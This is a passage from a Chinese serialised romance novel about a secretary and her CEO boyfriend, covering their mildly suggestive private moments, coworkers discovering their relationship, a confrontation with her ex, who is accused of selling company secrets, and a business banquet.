在这之前,沈孟青做菜都是向三姨学的,虽然她自己没什么创新的天分,但学习能力强,旁人教她一次她就能学会。 烤箱被打开后,香气顿时四溢,比方才更甚。陈姨把烤盘端出来,上头的曲奇饼干形状景致,色泽正好,陈姨夸奖了几句沈孟青,说她人聪明就是学得快。 余辛凑过来,眼神暗示沈孟青,沈孟青却不接招,指了个看起来形状最圆润地对他说:“尝尝?” “我从外头刚回来,还没洗手。”他说道。 沈孟青哦了声:“那就洗了手再吃,反正现在也挺烫的。” 余辛不吭声,也不挪动步子,就站在她旁边干等着,消磨时间。 陈姨见他这样,笑着拆台说:“你不是不爱吃甜的么。” “是不爱吃。”余辛说,“但我还没尝这饼干,怎么知道它甜不甜。” 他这高挑的身子横在身边,沈孟青没办法把饼干端上桌,只好拈起一块塞他嘴里。 陈姨拿来塑料袋,将饼干装好封给沈孟青,让她带回家吃。 三人又闲聊了会,将近傍晚时分,余辛才送沈孟青回家去。 陈姨怕他俩不想做饭又点外卖吃,干脆打包了些中午剩下的饭菜,让他们回去自己热热。 回去的路上,余辛见沈孟青总算满血复活,问她说:“你那小区离公司还是远了些,不想换个更近的房子租吗?” 沈孟青睨了他眼:“你是想我搬来和你一块住吧。” 余辛耸耸肩,她要这么理解,也不是不行。 “暂时没这打算,等我再多存点钱,我就能直接买套房了,不用再租了。”沈孟青话锋一转,“而且,我们要是住一起,下了班还和你每分每秒待在一块,会不会有点加班的感觉。” 余辛神色一冷,握住方向盘的力道重了几分:“沈孟青,你这么不想和我待在一块?” 沈孟青噗嗤一笑,伸手捏了下他的冰块脸:“我开玩笑呢,就知道你会生气。如果我真不想,我这会早回家去了。” 她打了个巴掌又给了个甜枣,余辛臭脸哼了声,佯装不想理她。 进了小区,余辛照旧把车停在她楼下,小区里的树枝将近一大半都枯了,只有梅花还在枝头缀了点颜色,萧条冷然,爱坐在楼下透风的爷爷奶奶们也都回家窝在暖气里御寒去了。 沈孟青进电梯时,又打了几个喷嚏。 余辛伸出手,想把她拢在怀里,手却被沈孟青拍掉。 “热着呢。”沈孟青说道。 余辛把被拒绝的手插进兜里:“那你还打喷嚏。” 沈孟青撇撇嘴:“可能是有人想我吧。” 余辛歪过头,看着她说:“那只可能是我了。” 沈孟青理解了下他的话意,问他:“你和李青河坦白了?” “还没。” 电梯门一开,他跟在沈孟青身后,说:“但他们现在觉得我俩是见不得光的关系。” 沈孟青边打开家门,边笑着说:“你这都不解释,还挺享受小三的身份啊。” 余辛不可置否,将手上装饭盒的袋子往餐桌一放,见沈孟青脱下外套挂在衣架上,他踱步到她身后,手一伸将人搂住。 “你饿不饿。”他沉沉问道。 沈孟青摇摇头:“刚吃了好多饼干,还饱着呢。” “我也不饿。” 余辛说罢,侧了些头往前探去,沈孟青不解地扭过头,看他是想做什么,却被他精准地吻了上来。 他宽大的手掌贴紧沈孟青的腰,不自觉地向上滑去,撩起她的衣角,触及到她细嫩的皮肤。 沈孟青转过身,替他脱去外套,大衣顺着他修长的身型下滑垂倒在地,露出里头灰色的毛衣,毛衣在领口处有几粒领扣,余辛松开了顶上两颗,脖颈连接到锁骨的线条格外漂亮流畅,锁骨的沟壑有一半藏在毛衣里头,禁欲十足。 她边回应着余辛的热吻,边褪去他的灰色毛衣,没想到的是,他里头是真空的。 余辛闷笑一声:“这么急?” 沈孟青在他紧实的腰间拧了一把,随即两手往他肩上用力一推,将他带进了卧室。 卧室里的床单被套她刚换过,是柔软温和的绒面,两人交织着躺下,余辛用力半撑着身子,沈孟青指尖落在他肌肉贲张的背上,捏来捏去,分神想着还挺硬的,最近没少锻炼。 余辛伸出胳膊,抽开床头柜的抽屉,手捞了半天,也没摸到个盒子的边缘。 他抬起头一瞥,里头空空如也,难怪找不着。 “东西呢?” 余辛垂下头,朝沈孟青问道。 沈孟青有些宕机:“……” 她这才想起来,当时决定离开北城之后,她把床头柜里的全扔掉了。 她这迟疑落在余辛眼里,演化出了些别的揣测,余辛坐了起来,望向她的眼神变得复杂又幽怨:“你不会……” 沈孟青看出他的意思,连忙踹了他一脚:“乱想什么呢!” 她无语地说:“是那时候我以为要回楚城了,就全扔了。” 余辛盯着她,无声地松了口气。 沈孟青瞪了他眼,气呼呼地把被子一掀:“吃饭,吃完饭你赶紧走!” 余辛拽住她,拉进怀里紧紧抱住。 沈孟青对准他胳膊,狠狠咬了下去,余辛却不觉痛一般,仍是不放手。 她松开嘴,说:“我最讨厌别人不信任我了。” 余辛垂着头:“我错了,是我刚才想岔了。那段时间我装作不在意,其实我特别害怕你真的会离开,我拿捏不准你的心思,不敢和你轻易开口表白,只能用尽办法把你留在我身边。” “说实话,如果你真和别人……恋爱了,我一定会发了疯地去找你,不论要经历什么,我总是要和你在一起的。” “没有如果,我已经在你身边了。”沈孟青正色说,“既然我们步入了恋爱关系,那你就不应该不信任我,也不能总觉得我会离开你,这样不健康的心理状态只会让我们俩人都很累,你明白吗?” “嗯。” 余辛埋在她颈后,头一点一点的,挠得她后脖子有点痒。 沈孟青故意抖了下肩,连带着余辛的头也晃了下。 “知道错了的话,叫声姐姐来听听。”她说道。 余辛眼眸深邃,语调悠长地说了句: “姐姐,我爱你。”—— 作者有话说: 姐姐训狗课堂开课了 阿青教你如何健康恋爱(x) 祝绍明:家人们没招了真没招了 宝宝们以后可能会比之前晚点发,但最晚不超过九点!! 因为想尽量多写点 哈哈哈哈 第64章 第六十四章 “你们是不是接吻了?”…… 陈姨生怕这两人饿着, 装了不少饭菜,沈孟青和余辛吃了七七八八,实在吃不下了。撑得太难受, 沈孟青提议出门散散步, 正好,去便利店买点东西。 两人罩好外套出了门, 才走出门没多久, 沈孟青的口袋里就多出一只手来。 “你衣服没口袋?” 沈孟青捏了下余辛的指尖, 的确有些冰凉。 余辛闷哼了声:“你的手当然比衣服要暖和, 怎么这么小气,我用用你的口袋也不行?” 沈孟青有意逗他, 也撇起嘴:“那你用我的口袋, 我不用了。” 她将手抽出来,瞬间被寒风冻得一凉, 余辛连忙扯住她的手往自己口袋里放。 便利店的人不多, 这个天气,大多数人宁愿宅在家里喊外卖。 沈孟青挑了些需要的生活用品,到了冷藏区,她看见有个新出的甜品蛋糕, 犹豫了下后还是放进了购物篓里。 走到收银台, 她把篓子往台子上一放, 余辛抽出隔壁货架上的盒子, 扔进了那堆生活用品里。 结完账后,沈孟青端着蛋糕往玻璃窗前的位置一坐, 拍了拍身边的椅子,让余辛也坐下。 她边拆着包装,边指着对面说:“你看, 坐在这能看见你住的小区。” 包装的盖子有点难开,沈孟青不小心把奶油沾到了手指上,余辛拆开刚买的纸,轻轻抓起她的手帮她擦干净。 沈孟青舀起松松软软的蛋糕,小口小口地吃着,丝丝甜意从舌尖蔓延到整个口腔。 这时,便利店里响起开门的音乐,有一对情侣走了进来,买了些关东煮之类的热食后,坐在了他们隔壁的位置。 沈孟青蓦地想起上回她和余辛约在便利店见面的情形,她搁下勺子,问余辛说:“你还记得我们在便利店吃饭那次吗?” “当然。” 余辛两条腿大剌剌敞着,背靠着椅子,侧头凝视着沈孟青,靠近她的那只手懒懒搭在她椅背上。 他眼梢一扬,略带揶揄地说:“你是不是想说,那次是你故意弄混了文件。” 沈孟青刚塞进一口蛋糕,脸颊鼓鼓的,她杏眼睁圆,口齿不清地拔高音量说:“怎么可能!” 余辛戳了戳她拱起的脸,说:“当时那份你错拿走的文件里,有我的信息,如果你回去之后打开了,你就会知道我的身份。” 沈孟青后知后觉地啊了声:“难怪你会火急火燎打电话问我有没有拆开。早知道我那时候就应该打开看看的,趁早认清你的伪装,离你远远——” 她话还没说话,余辛就伸手掐住了她下巴,让她说不出话来。 “不许说这话。” 余辛瞥见她嘴角的奶油,用大拇指摩挲拭去,凑上前亲了下,像是把她剩下的话封住。 沈孟青吃不下了,索性和余辛聊起天来,她说:“那你送我回家呢,你敢说没别的意思吗?” 那时候,余辛确实自我以为,他是听见了别人提起附近有心怀不轨的坏人,出于做好事保护人的心理,才提出送沈孟青回家。 可后来,他不断回溯和沈孟青相遇之后桩桩件件发生的事,他才明白,每一次他不同于寻常的举动,都是暗自心动的表现,是下意识朝她的奔赴。 动心的瞬间很难具象地捕捉到,那种感觉就像风不知从哪带来了一颗不起眼的种子,落在了他身体里的土壤,在不经意之间,汲取雨露,暗地生长。等他发现的那一天,它已经成长成了一棵枝繁叶茂的参天大树,枝桠和根系深入了他的骨髓和血液。 “我不敢。”他勾了下嘴角,说道。 等沈孟青吃完了蛋糕,两人往回走去。 他一手提着袋子,露在风中,沈孟青便紧紧握住他另一只手,给他传递温度。 到了沈孟青家后,余辛收拾了下自己的东西,准备回家去。陈墨要把这几天的工作给他汇报一下,他也还有些事要处理,便不在这多待了。 临走前,余辛朝沈孟青说了句:“明早醒了给我打电话,我送你去上班。” “好。” 沈孟青靠在门边,在余辛脸侧吻了下后,目送他走远。 …… 第二天,沈孟青被闹钟吵醒后,缓了缓起床的劲,才给余辛打去电话。她还是头一回没怎么赖床,洗漱后简单化了个妆,只花了半个小时就下了楼。 余辛的车就停在楼道口,她把出门前挤好的护手霜抹匀,搓着手上了车。大概是挤多了护手霜,手背上还残留了不少,沈孟青贴上余辛的手,胡乱摸了一把,尽数蹭给他。 这护手霜是花木香味的,留香久,味道也有些重,车子里霎时盈满了香味。 早高峰的车辆有些多,路途拥堵,沈孟青和余辛有一搭没一搭地聊着,有几天没回来坐班,沈孟青把话题引到工作上来,问余辛近期的工作进展。 聊了好一会后,余辛忽而说道:“我怎么觉得,如果我们住一起了,我才是真的像加班吧。” 沈孟青事业心向来很重,他男朋友的身份快被上司的重量给顶替,明明都是他,也不知怎的,他还有些吃自己的醋来。 “那你可得好好努力,我更喜欢事业有成的男人。” 沈孟青笑着说。 到了公司,余辛有专属的停车位,附近一块都没别的车能停,因而即便坐他的车来上班,沈孟青也不怕被人看见。 直到进电梯前,余辛还揽着她,等电梯将要开门,沈孟青拍掉身后的手。 还好,电梯里没人。两人走进去后,门上透出两个身段修长的身影,余辛侧过身,抬手将沈孟青鬓边的发丝挽至耳后,随即手掌向下滑至她的脸侧,低头覆了下去。 沈孟青本想推开他,却被他吻得犹如被朦胧薄雾拢住一般,鬼迷心窍地只伸手抵住他的胸膛,没能推开。 她胳膊渐渐上移,揪紧余辛衬衫领口前的领带。 过了一会,两人堪堪分开,沈孟青才发现还没按电梯楼层。 她刚要按下,电梯门骤然打开,姜羽站在门外,抬头看见里头这两人,顿时怔住。 姜羽忘了挪步,目光在这两人身上逡巡,等门又要关上,沈孟青连忙摁住开门键,问她:“你不进来么?” 姜羽这才如梦初醒,提脚走了进来。 然而,她很快又转过身,朝两人问道: “你们是不是接吻了?” 沈孟青:“……” 余辛:“……” 沈孟青干巴巴尬笑了两声:“你说什么呢。” 姜羽和沈孟青深交这么些年,沈孟青的反应落入她眼中,不用一秒,她就知道被自己说中了。 她还是第一次觉得自己眼力这么细致,简直媲美福尔摩斯。方才电梯门一开,她先是察觉到这两人的氛围怪怪的,不是那种合不来互相视为死对头的怪,而是像有意在遮掩什么。 随后,她再一抬眼打量,余辛的领带有些歪,还微微皱起,嘴角有点破了皮的红色。再一看沈孟青,口红颜色淡淡的,涂抹也不太均匀,面色带着异样的绯红。更细节的是,这两人身上都有一种香味。 不过最根本的原因还是这两人她认识太久,对于一些不对劲之处她会敏感一些。 姜羽拽了下沈孟青,让她挨着自己站:“你和他什么时候在一起的,都不告诉我??!” 沈孟青咽了咽口水,事已至此,她也没必要再瞒着了。 “就前几天,出差的时候。”她说道。 姜羽瞪了几眼沈孟青:“过几天约饭,好好给我详细说说。” “行。”沈孟青安抚她道。 电梯升到媒介部的楼层,姜羽和两人道了再见,她刚下电梯,梁如薇又走了进来。 她见余辛在里头,说道:“正巧,我找你有点事说。” 沈孟青笑着和她点了个头,退后了几步。 余辛嗯了声应她,梁如薇转头看了这两人一眼,几秒后,又转头看了一眼。 “?” 沈孟青眨了眨眼,正想开口,梁如薇就出声道:“谈了?” 沈孟青哑然,惊讶地侧头看向余辛,余辛摊了摊手,表示不是自己说的。 梁如薇没在意两人的神色,对余辛径直说道:“这都过去多久了,你追人的速度不行啊,太慢了吧。” 余辛耸耸肩,任她数落。 到了顶层,余辛看出沈孟青有话要说,便让梁如薇先去办公室等他,两人后一步出了电梯。 沈孟青拉住余辛,小声说道:“我们有这么明显吗,怎么全看出来了?” 余辛挑挑眉:“可能是她们和我们太熟了。” “是吗?” 沈孟青自我怀疑间,方莉在前台瞧见这两人,热情地招呼说:“余总,沈秘书,早上好。” 余辛长腿一迈,先进了办公室,沈孟青在后头慢慢走着,时不时瞄方莉几眼。 方莉亦是定定地看着她,沈孟青心中警铃大作,试探性地问道:“莉莉,你为什么盯着我看呀?” “啊?”方莉疑惑地说,“沈秘书,不是你总看我吗,我以为你有话要说呢。” 沈孟青摆摆手:“没事没事,你上班吧。” 她快步走到工位,长舒一口气。 看来余辛说对了,被姜羽和梁如薇发现,只是因为她们太了解。 出差期间堆积了太多工作,沈孟青花了快半天的时间,才处理得七七八八。 下午两点多,她坐在办公室整理文档,倏地接到了余辛打来的电话。 身边没有其他人,但她还是降低了些音量:“喂,什么事?” 电话那头的人轻笑了声:“你听起来怎么这么做贼心虚。” “是你奇怪,明明咱俩办公室就在一起,你打电话做什么。”沈孟青嗔怪他说。 “我电话费多。”余辛话锋一转,聊起正事来,“我有事和你说,你来我办公室一趟吧。” 挂了电话,沈孟青起身去了董事长办公室,余辛就坐在会客的沙发上,茶几上放着一沓资料,她走到跟前,余辛示意她在身边坐下,沈孟青却不理,在沙发的另一角坐下,离他一段距离。 沈孟青问道:“你找我什么事?” 余辛把资料递给她:“看看吧。” “林向阳在和万珍交往的这段时间里,一直在通过万珍获取宏图资本的内部资料信息,高价贩卖给其他机构,事件性质足以构成刑事案件了。” 沈孟青在先前偶尔听见余辛和陈墨提起这事,她猜到了几分,已然有了些心理准备,但还是没想到,林向阳会贪婪成这样,攀住了万珍还不够,黑着心赚取了这么大数额的金钱。 余辛又解释道:“这事也是我在几个饭局听到了一点风声,有些客户对于宏图资本的事太过了解,我便留了个心眼让陈墨去查,还真靠着蛛丝马迹查到了林向阳的头上。我上午已经把这些证据给万珍了,起不起诉,就看他们宏图内部了。” 他看着一言不发的沈孟青,默了半瞬,说:“你不会觉得我太心狠了吧?” 沈孟青摇摇头:“怎么会,他做了这事,就应当收到报应,我只是有点感慨罢了。” 曾经那个被同学们吹捧得意气风发的人,如今却变成了这副模样。 余辛挪了挪位置,轻拥上沈孟青:“善恶就在一念之间,是他自己踏错了路。” 祝绍明推开门进来的时候,一眼就望见了相互依偎着的两个身影。 “卧槽!!!” 他震惊出声,而后立马嘭地一声关上了门。 “你们,你们……”他一脸忿忿地指着两人,走过去道,“光天化日,朗朗乾坤,你们在办公室干什么呢!我果然还是得来早点,那破闹钟,一大早都没把我吵醒。” 沈孟青端坐了回来,憋着笑意,和他打了个招呼。 祝绍明却脸色不善,在两人对面坐下,一板正经道:“沈秘书,你和余辛这样,你男朋友知道吗?!” 沈孟青抿了抿嘴:“知道啊。” 祝绍明直直想掐人中。 他是开酒吧的,震碎三观的故事他看过的只多不少,但身边的人干这种事,他还是头一回见。 “不是,你们关系这么开放的么?和老外学的什么open relationship?”祝绍明皱巴着脸,再怎么说服自己,也根本无法理解。 余辛似是还嫌不够乱,添油加醋一通乱说:“我女朋友也知道。” 祝绍明吓得差些跳起来:“你又是什么时候有的女朋友,我怎么不知道!” “就前不久。” 余辛淡定从容地说道。 祝绍明两眼一翻,揉按着狂跳生疼的太阳穴,嘴上碎碎念叨着:“管不了了,真是管不了了。” 余辛和沈孟青再也忍不住,对视了下后,放声笑了起来。 余辛抓起沈孟青的手,十指紧扣地在祝绍明眼前晃了晃:“你傻不傻?” “我傻?”祝绍明往前一探身,硬生生把两人粘住的手掰开,“你们这些陷入见不得光的爱情的人才是真的大傻子!!” “不逗你了。” 沈孟青下巴朝余辛的方向一扬:“他就是我男朋友。” 祝绍明跌坐回沙发,怔松道:“什么意思?” 余辛冷声说道:“意思是一直就我俩,没有别人。这也听不懂,祝绍明,别让我怀疑你智商。” 祝绍明加载了会,旋即愕然:“那为什么李青河说你要做人小三啊。” “是他误会了。”沈孟青说道,“上次我说我不是单身,有男朋友,他不知道就是余辛。” 祝绍明这才顺过来整件事的经过,一拍脑门:“这都什么事啊,我就说,余辛不至于去做人小三吧。” 他男子汉大丈夫,能屈能伸,捶了下胸脯说:“得,这事儿是我唐突了,晚上请你们小两口吃饭,算我赔罪。” 余辛白了眼:“谁想和你吃饭了。” “行,这会嫌我碍眼了,我走我走。” 祝绍明佯装被他气到,站起身就要走,沈孟青撞了下余辛的肩膀,说道:“晚餐一起吃吧,正好今晚有时间。” 余辛的行程她了如指掌,过几天都忙得很,今儿的确得闲。 祝绍明一屁股又坐了回来:“还是嫂子好。” 余辛:“……行吧。” 看祝绍明这声喊到了他心坎的份上,他应了下来。 …… 待到了晚上七点,祝绍明玩完好几盘游戏,脖子都僵掉了,才终于等到了两人下班。 坐上余辛的车时,他吐槽道:“你说你们这两人真有时间谈恋爱吗,一个比一个忙,还怎么增进感情?” 余辛怼他道:“你不上班也没见你谈恋爱啊。” 祝绍明一时噎住:“那倒也是。” 既是祝绍明请客,万事便由着他来定,他就在附近找了家餐厅,电话订好了包厢。 这餐厅他来过不少次,对菜单熟得很,才在包厢坐下,他便喊来服务员,报上好些个菜名。 沈孟青低声和余辛说了句,去洗手间洗个手,余辛站起身,陪她一起。 祝绍明在后面酸了句:“余辛,以前怎么没发现你这么粘人呢。” 余辛没搭理他,跟在沈孟青身后出了门。 走到了洗手间,沈孟青推门进去,余辛恰巧来了个电话,便走到另一个无人的拐角去接听。 没等多久,沈孟青再出来时,和走过来的另一人打上照面。 林向阳和她对上视线时,动作一顿,随即加快脚步走到她跟前,姿态极低地说:“孟青,以前所有事全是我做错了,能不能让余辛帮帮我,求他找万珍说说情,让万珍别起诉我。” 他话边说着,手一抬起,似是想要握住沈孟青的手,沈孟青急忙后退几步躲过。 “求求你了,我身边只有你能帮上我了,你不忍心看我进监狱的,对不对?”林向阳哭丧着脸,一副走投无路的神色。 沈孟青一脸漠然,寒声说:“我帮不上你,你自己做的事自己承担。” 林向阳仍是不放弃:“不不不,我们在一起那么多年,你一定对我是有感情的,我求求你,你帮帮我。你想想我爸妈,他们年纪那么大了,根本经受不住这种事情的,你想想他们,想想我们的过去。” “林向阳!”沈孟青大声叱责道,“是你自己让事情变成这样的,当初你走入歧途的时候,就该意识到有这一天,谁也帮不了你。” 林向阳被她的喝声吓到,胸膛急速起伏,脸上的表情变了又变,凶狠起来。 “行,你不帮我,那我们都别活了!” 他走近沈孟青,伸出手用力推了她一把。沈孟青身后就是大理石台阶,他看准了她头部落下的位置下了手。 被林向阳猛力一推,沈孟青身体往后仰倒,鞋面在光滑潮湿的地面上发出尖锐摩擦的声音,天花板在她视野里划过。 陡然间,及时赶来的余辛半弯下腰接住了她。 他气火中烧,嗓音毫不隐忍地怒斥道:“林向阳,你不要命了!”—— 作者有话说: 来人啊把林向阳抬走!!!! 妄图谈办公室恋情的两个人实则根本没瞒住几个身边的人( 估计过几天就能正文完结了,感谢一直追更到现在的宝宝们啊啊啊啊爱你们[亲亲][亲亲][玫瑰][玫瑰] 第65章 第六十五章 姐姐,理理我…… 林向阳被余辛的吼声拉回了些理智, 他粗喘着气,在意识到自己做了什么后,逃也似的跑离了现场。 余辛扶起沈孟青, 揽着她沉声问道:“没事吧?” 沈孟青摇摇头, 脑袋还有点泛空,心里五味杂陈, 说不上是对林向阳的失望, 还是对曾经自己识错人的悔恨。 余辛见她神色迟滞, 以为她还心有余悸, 拥住她轻拍着背,仿佛在安抚受了惊的小动物:“已经没事了, 如果你累了, 我们就回去。” “不用。”沈孟青松开他,“我们回包间吧。” 包厢里, 方才祝绍明点好的菜陆陆续续被端上了桌, 他瞧见进来的两人,嘴贫地说了句:“你们俩可算回来了,菜都要冷了,我本来想去找你们, 又怕撞见你们腻歪, 好心干坏事。” 余辛给他使了个眼色, 祝绍明立马读懂, 闭上了嘴。 等动了筷子,场面才重新渐渐聊开。 祝绍明夹了块肉送进嘴里, 好奇地问道:“你们俩这关系,会不会在公司里公开啊?” 余辛看向沈孟青,沈孟青搁下筷子道:“我现在觉得也没必要刻意瞒着, 只是在公司肯定得维持公事公办的态度,不能太越界,免得影响到了工作。我想了想,如果被发现了,倒也不会否认。” 祝绍明点点头,比了个大拇指:“嫂子就是理性。” 说完,他叹了口气:“我什么时候才能谈恋爱啊。” 余辛斜斜睨了他眼:“就你那早上睡下午起的作息,要么孤独终老,要么谈个吸血鬼差不多。” 祝绍明翻了个白眼:“你自己脱单就算了,还说这种话咒我。” “对了,说起这个,我可得把明早的闹钟关掉,别打扰到我睡觉了。”祝绍明掏出手机,指尖在屏幕上一通点。 沈孟青疑惑地看了看余辛,余辛给她解释了下,她噗嗤一笑。 一席饭吃完,祝绍明很自觉地单独打车回去,余辛和沈孟青上了车,回福江路去。 车内太安静,余辛调高了些暖气的温度,侧头瞥了眼沈孟青,问她道:“还在想林向阳的事?” 沈孟青头靠在窗上,闷声说:“只是觉得世事无常。” 余辛抽出手,拍了拍她手背:“我一直在。” “虽然他快被法庭传召了,这段时间估计忙着找律师,没有空暇管别的事,但我还是不放心,怕他上门找你。如果你不想搬去我那,我就每天陪你上下班。”余辛眉骨一皱,说道。 “嗯。”沈孟青轻声说,“搬家的事我考虑考虑,等忙完这阵,你陪我去买房买车吧。” 遇上红灯,余辛踩下刹车,微微探出身紧紧握着沈孟青的手。 “好。” 他定定地说道。 到了家,沈孟青先去冲澡,余辛脱下外套后,从电视旁的架子上抽了本书,打算坐在沙发上看会。 茶几上堆着昨天便利店采购的物品,沈孟青还没整理完,估摸着是昨天太困了便先睡觉去了。余辛一眼瞥见那个盒子,勾了勾嘴角。 她还真是不怕人来,就这么明晃晃地放在桌上。 浴室里淅淅沥沥的水声传来,余辛翻开书的第一页,这书的内容是研究人类心理的,虽然枯燥的术语比较多,但还算引人入胜。没多久,他便专注地看了进去。 倏地,不远处传来咚地一声,余辛手一顿,在判断出是洗手间的方向后,他连忙放下书大步走了过去。 “阿青,你没事吧?” 余辛敲了敲门,在门外喊道。 沈孟青的声音从里头传来:“没事没事。” 她方才洗完澡后,换好了衣服,收拾衣服时一个不注意,手机从高处摔到了地上,她急着蹲下去捡,再起身时,脑袋重重地磕到了硬实的洗手池。 余辛不放心,留在门口没走,沈孟青揉着脑门出来时,差点和他撞个满怀。 她穿着白色带了些毛绒的睡裙,像个受惊的小兔子一般,瞪圆了眼抬头看去。 余辛瞧见她动作,问道:“磕着头了?” 沈孟青轻轻颔首。 余辛拨开她的手,低头仔细一看,额尖是青了一块。 “你先去沙发上躺着吧。” 余辛将沈孟青推去客厅,他替她把脏衣篓里的衣服扔进洗衣机洗,又给她手洗了贴身衣物,忙完之后,索性自己也洗了个澡。 再出来时,沈孟青正捧着他刚才读的那本书看着,直挺挺地躺在沙发上,和一条咸鱼干似的。 余辛走过去,抽开她手上的书,朝茶几那扬了扬下巴:“你那东西怎么不收拾好。” “这不是你拿出来的吗?” 也不知是因为磕到了头还是真迷糊了,沈孟青说这话时眼神直勾勾的,十分确信的样子。 余辛无语,想拿书敲她的头,又想起不能碰那块,只揉揉她的脸说:“我都没去你房间。” “啊。” 沈孟青这才想起来,确实是她忘了放进床头柜。 她微微张开嘴,还没合上,余辛就趁机吻了下来,轻巧地绕过她的贝齿,和她唇舌交缠。 怕碰到她额头上的淤青,余辛小心地托起她的脸,歪着头耐着性子吻她,书本从沙发上滚落到地上,发出一声闷响,余辛顺势用膝盖一顶,半跪着上了沙发。 这里没有他换洗的衣服,他上衣只穿了件衬衫,沈孟青轻而易举地伸手探了进去,从他薄肌沟壑的腹间上滑至饱满诱人的胸/线,她的毛绒袖子太厚,将衬衫的下摆撑起,快要挤破拧得齐整的扣子。 余辛停下动作,声色凛凛:“我没带别的衣服,等会衬衫坏了,我穿什么回去?” 沈孟青坏笑着说道:“那你里头就不穿了,套个外套回去得了,反正你也不是第一次真空。或者,我找件oversize的衣服罩你身上。” 余辛哑然失笑,笑声的尾调里带了点欲念的勾人。 说完了玩笑话,沈孟青还是认认真真解起了余辛衬衫上的纽扣。 沙发上的毛毯是她前几天才换过的,阳光暖烘烘的味道还未散去,紧紧包裹着两人。 冬日的夜晚一片凉寂,外头行人寥寥,偶有几人经过,都用力裹着外套行走,脸深深埋在围巾里看不清面貌。室内却风光乍好,温度宜人,气氛旖旎- 一月底时,愈生承办了一次北城医药行业交流的商务晚宴。晚宴的规模不算特别大,就放在愈生最大的会议厅举行。 这个晚宴的主负责人自然又落到了沈孟青头上,这大半个月来,她和余辛在工作上的交集不少,甚至几乎每天都要汇报工作,陪他拜访客户。 但在公司里,除了姜羽和梁如薇之外,竟然没有人再发现他们的恋爱关系,甚至连陈墨,都从未起过疑心。 沈孟青还挺乐得清闲,余辛却不太满意,私下里说她一到公司就变了态度,不关心不在意自己,眼里只有工作和冷冰冰的上司。 沈孟青听着好笑,嗔他说:“那位冷冰冰的上司难道不就是你吗?” 余辛略显委屈地争辩说:“那不是我,只是一个职称代号。” 沈孟青懒得和他讲,把他衣服和人一起丢到门外,怎么也不松口同意搬到他家里去。 在此之后,两人莫名其妙开始了冷战,一直到晚宴这天都没破冰。 商务晚宴不比年会,沈孟青没穿晚礼服,上身穿了件平肩浅色毛衣,下搭深棕包臀皮裙。这套衣服衬得她脖颈修长,薄肩平直,身段十足俏丽。 参加晚宴的大部分客户她在销售部的时候就已经很熟识了,在上任余辛秘书之后,更是结识了不少行业大佬,这会接待应酬起来她得心应手。 余辛是和李青河一起到的,大概是祝绍明被这两人耍弄太久,为了找回存在感出出气,他那么嘴不把门的人,愣是没告诉李青河余辛和沈孟青在谈恋爱的事。 沈孟青迎了上去,嘴角还挂着商务微笑,和李青河招呼了声。 李青河这段时间里逐渐放下了内心对沈孟青无疾而终的感情,眼下见她气色不错,还有心情打趣说:“你状态不错,看来和男朋友感情挺好。” 沈孟青笑意不减,瞥了眼余辛说:“一般般吧。” 余辛端起两杯酒,不动神色地插入两人的对话中,递出一杯给李青河说:“喝点。” 他仰头抿下一口,往前头随意一指:“走吧沈秘书,去见见陈总。” 沈孟青向李青河道了声再见,几步走上前,跟在余辛后头。 她今天穿的高跟鞋跟有些高,虽然不影响她的走路速度,但总归比平常累人些,余辛似是察觉到她走路的速度变慢,亦随之放缓了脚步。 沈孟青对出席的宾客名单熟得很,除了陈墨之外,根本就没有第二个姓陈的人。 余辛还一股脑地往里头走,沈孟青知道他是想找自己聊会,便也面色不改地跟着他。 谁料,半路一人拦住沈孟青的去路。 沈孟青抬眼一看,是一个医疗器械公司的老总,她没记错的话,应当是姓王。 王总毫不遮掩眼里对沈孟青的欣赏,他举了举杯,低声说:“沈秘书,喝一杯?” 沈孟青见惯了这种局面,她仍是不卑不亢的姿态,酌了口酒:“王总,您忙。” 她正要提脚继续走去,王总却还不想放她离开,状似无意地夸起她:“沈秘书工作能力实在太优秀了,这么大个晚宴,一个人忙前忙后的,举办得这么成功。” “您过奖了。”沈孟青礼貌地答道。 王总:“工作上我就不多说了,咱们聊点生活上的事吧,不知道沈秘书还是单身吗?” “她不是。” 余辛出声打断了王总的问话,长腿一迈走到沈孟青身边,抬起手松松揽上她。 他眉目冷冷,寒声说:“王总要是有工作上的事要探讨,可以直接来找我。” 王总哪敢得罪余辛,见余辛护着沈孟青一脸占有欲之样,他了然自己是触到人底线了,连忙道歉着:“抱歉余总,抱歉沈秘书,是我唐突了。” 余辛闷着气,懒得搭理他,揽着沈孟青往前走。 过了会,身边的人变得稀疏,余辛低声问了句:“鞋子穿着不舒服?” 沈孟青没想到他会发现,闷闷嗯了声。 余辛将她拉至后门,推门走了出去,旋即随便找了个空的小会议室,带她进去。 关上门后,他转变姿势,抱住沈孟青。 他沉默了片刻,说道:“刚才好几个人在看你,还说你好看。” 沈孟青轻嗤一声,鼻子出气:“人家说话都比你好听。” 余辛耷拉着脑袋:“谁说的。” 他扶住沈孟青的肩膀,盯着她姣好清丽的脸庞,眼神真挚地说道:“你今天真的很美,头发也柔顺,两只眼睛又大又有神,鼻子小巧挺翘,脸圆圆的……” “闭嘴吧。”沈孟青打断他这直男的夸奖,听不下去。 余辛却意犹未尽,大拇指触碰到她的嘴唇,自顾自说着:“尤其是这里,特别美。” 他垂下头,像对待珍贵的宝物一般,轻柔地啄了几下。 沈孟青瞪了几眼他,转过头,还含着气。 余辛埋头在她光洁的颈窝,沉沉说:“沈孟青,别生气了。” “不许喊我名字!”沈孟青故意为难他。 余辛:“沈秘书。” 沈孟青不说话。 “阿青。” “……” “姐姐,理理我。” 会议室那头音响效果很足,主持人宣布晚宴即将开始的声音清清楚楚地传了过来,沈孟青一边被余辛磨得没办法,一边又怕那头有事找他们,只好说道:“知道了,回去吧。” 余辛赖上了瘾,抬起头和他那只金毛狗似的:“动不了了,你亲我下。” 沈孟青伸手摸上他的胳膊,踮起脚假装要亲他,转而却眼疾手快地推开门,往外走去:“你想待在这就自己待着吧,我先走了。” 余辛看着她的背影,轻笑了声,两手一插兜走了出去。 晚宴的流程简洁,主要是一年到头给个场合让大家商务联络,维护下客户关系。不到两个小时,宴席就散场了。 这回宴会是在公司里办的,沈孟青和其他负责的同事坚守岗位,等到了最后一个宾客离开,完成了收尾工作。 她回到办公室拿包时,余辛正大剌剌坐在她工位上,灯都没开,昏昏暗暗的,就手机屏幕亮着光。 他深邃的五官被微薄的光线勾勒着,眼眶微陷,鼻梁挺拔俊俏,下颌锋利。 沈孟青看了几眼后,开灯走近,从抽屉里取出盒创可贴,给脚后跟贴上。 余辛在一旁瞧见,问她道:“磨破了?” “嗯,没事。” 沈孟青站起身,将包一挎:“走吧。” 